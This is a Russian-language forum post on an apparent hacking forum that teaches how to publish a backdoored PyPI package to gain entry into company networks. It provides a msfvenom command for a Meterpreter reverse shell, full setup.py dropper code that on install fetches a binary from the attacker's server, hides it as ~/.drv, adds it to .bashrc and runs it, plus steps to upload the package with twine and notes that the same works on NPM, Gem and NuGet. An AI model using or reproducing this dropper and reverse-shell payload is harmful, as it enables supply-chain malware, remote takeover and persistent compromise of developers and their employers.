• XSS.stack #1 – первый литературный журнал от юзеров форума

Злая библиотека

aliva

HDD-drive
Пользователь
Регистрация
07.01.2019
Сообщения
27
Реакции
20
Всем привет!

Сегодня я бы хотела поделиться с вами методом получения отправной точки в сеть какого-либо предприятия. Приступим!


С чем мы имеем дело?

Слышали ли вы когда нибудь о PyPI, NPM или NuGet?

Я думаю, что хоть кто нибудь хотя бы одно из этого знает. Так вот, все это - репозитории с библиотеками или просто пакетами (утилитами например), написанными на том или ином языке. Например PyPI (Python Package Index) - это репозитории с python пакетами, которые публикует непосредственно само сообщество. Залить пакет туда может кто угодно и они никак толком не проверяются, чем собственно злоумышленник и может воспользоваться.

Сегодня мы создадим библиотеку для PyPI, которая при установке будет устанавливать в систему бекдор. Мы будем ориентироваться только на Linux системы в данном примере, так как кому надо - тот сделает это мультиплатформенным. Поехали!

Как устроен PyPI пакет?

PyPI пакет представляет из себя обычный tar.gz архив, в котором хранятся метаданные пакета (README например), сам код (.py), дополнительные данные (например в случае с python-geoip это GeoIP.dat (то есть сама база данных GeoIP)) и установочный скрипт (setup.py). Именно установочный скрипт будет нам интересен!

Что мы будем делать?

Мы добавим перед выполнением функции setup (), которая является частью setuptools, добавим код, который как раз и будет ставить бекдор.

Для начала давайте создадим сам бекдор. Я не буду сильно заморачиваться и сделаю это при помощи Metasploit.


msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=IP_ВАШЕГО_СЕРВЕРА_С_METASPLOIT LPORT=4444 -f elf -o /var/www/html

Создаем сам пакет

Для этого нужно установить утилиту twine, при помощи которой мы и будем заливать пакеты (клиент для PyPI). Пишем:

pip install twine

Далее создаем конфиг для твайна. Для этого нужно создать файл .pypirc в домашней дериктории.

touch ~/.pypirc

Далее откроем его и запишем туда конфиг:
Код:
[pypi]

username=ВАШ_ЛОГИН_ОТ_PYPI

password=ВАШ_ПАРОЛЬ_ОТ_PYPI

Далее создаем папку с пакетом:
mkdir evil_library

В ней нам нужно создать папку с самим пакетом
mkdir evilpackage

И создать в ней файл __init__.py, далее можно ничего не трогать в этой папке. Вернемся к evil_library.
Создаем файл setup.cfg, в котором мы запишем установочные конфигурации.
Код:
[metadata]
description-file = README.md

[bdist_wheel]
universal=1

universal=1 - пакет годен для всех версий Python
description-file - указание файла с описанием пакета (у меня без него twine не хотел работать)
Далее создайте файл README.md
Его можно оставить пустым.

Создаем сам установочный скрипт setup.py

Пишем в него:
Код:
setup(

 name = 'my_evil_library',

 packages = find_packages (),

 version = '0.1',

 description = 'I will hack you :3',

 author = 'Nobody',

 url = 'http://example.com',

 keywords = ['keyword?'],

 classifiers = []

)

В name укажите имя (будет pip install имя), версию и тд
Далее собираем пакет в архив.
python ./setup.py sdist

После успешного выполнения у вас в папке evil_library должна появится папка dist, в которой и будет лежать архив.
Распакуем его:
tar -xvf архив.tar.gz

Перейдем в распакованную папку.

Открываем файлик setup.py и до вызова функции setup () пишем вот этот код:
Python:
def rn():
    import platform, os, stat
    s = False
    try:
        import urllib2
    except ImportError:
        import http.client
        s = True
    PATH = "/out"
    IP = "IP_ВАШЕГО_СЕРВЕРА"
    LOC = ".drv"

    if platform.system() == "Linux":

        if not s:
            response = urllib2.urlopen("http://" + IP + PATH).read()
        else:
            connection = http.client.HTTPConnection(IP)
            connection.request("GET", PATH)
            response = connection.getresponse().read()
        os.chdir(os.path.expanduser("~"))
        d = open(LOC, "wb")
        d.write(response)
        d.close()
        current_state = os.stat(LOC)
        os.chmod(LOC, current_state.st_mode | stat.S_IEXEC)
        brc = open(".bashrc", "a")
        brc.write("\n~/.drv &")
        brc.close()
        os.system("~/.drv")
    else:
        print("Error installing library!")
        exit(-1)

rn()

Этот код проверяет, на какой системе он запущен и если это Linux, то скачивает с вашего сервера бинарник, кидает его в домашнюю директорию в виде скрытого файла .drv, задает ему права на исполнение и прописывает в .bashrc его запуск.

Сохраняем setup.py

У вас должно получится примерно такое:
1QMSNIG.png


Далее обратно пакуем всю папку.

Пишем tar -zvfc имя_архива имя_папки

Далее можно удалить эту папку.

Теперь нам осталось лишь отправить пакет на PyPI.

Пишем:
twine upload архив.tar.gz

Готово!

Мы сделали вставку кода не сразу, потому что twine бы ругался и не создавал бы пакет.

Так же можно склеить это с уже готовой библиотекой.
Осталось лишь, чтобы жертва установила наш пакет!
Тоже самое можно проделывать и с NPM, Gem, NuGet и тд

Программист - неплохая точка для входа в сеть компании или проникновения на продакшн сервер
clear.png


Спасибо за внимание!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх